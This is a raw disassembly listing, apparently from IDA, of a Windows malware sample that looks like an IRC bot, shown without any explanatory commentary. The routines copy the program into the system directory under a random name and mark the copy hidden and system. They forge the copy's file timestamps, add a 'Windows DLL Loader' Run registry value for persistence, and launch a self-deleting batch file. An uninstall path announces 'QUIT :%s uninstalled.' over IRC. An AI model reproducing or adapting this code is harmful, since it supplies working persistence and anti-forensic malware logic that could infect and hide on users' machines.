		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset dword_418B5C
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_418B54
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset dword_418B64
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC0C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset dword_418DE0
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset dword_41DC0C
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417040	; GetWindowsDirectoryA
		push	offset dword_418DE8
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_41703C	; lstrlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	dword_417068	; WriteFile
		push	[ebp+var_28]
		call	dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: MEW:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: MEW:0041AD4Co
					; MEW:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset dword_41EAFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	dword_41707C	; CreateProcessA
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417050	; GetSystemDirectoryA
		push	offset dword_418DE4
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	0
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short loc_4072D9
		push	offset dword_41EAFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess


loc_4072D9:				; CODE XREF: sub_407148+170j
		jmp	short locret_40732B
; ---------------------------------------------------------------------------


loc_4072DB:				; CODE XREF: sub_407148+D8j
		jmp	loc_40717A
; ---------------------------------------------------------------------------


loc_4072E0:				; CODE XREF: sub_407148+4Fj
		push	offset dword_41EAFC
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	0
		call	sub_406C51
		add	esp, 0Ch
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		test	eax, eax
		jz	short locret_40732B
		push	offset dword_41EAFC
		push	offset aQuitSUninstall ; "QUIT :%s uninstalled."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		call	dword_417254	; WSACleanup
		push	0
		call	dword_41705C	; ExitProcess

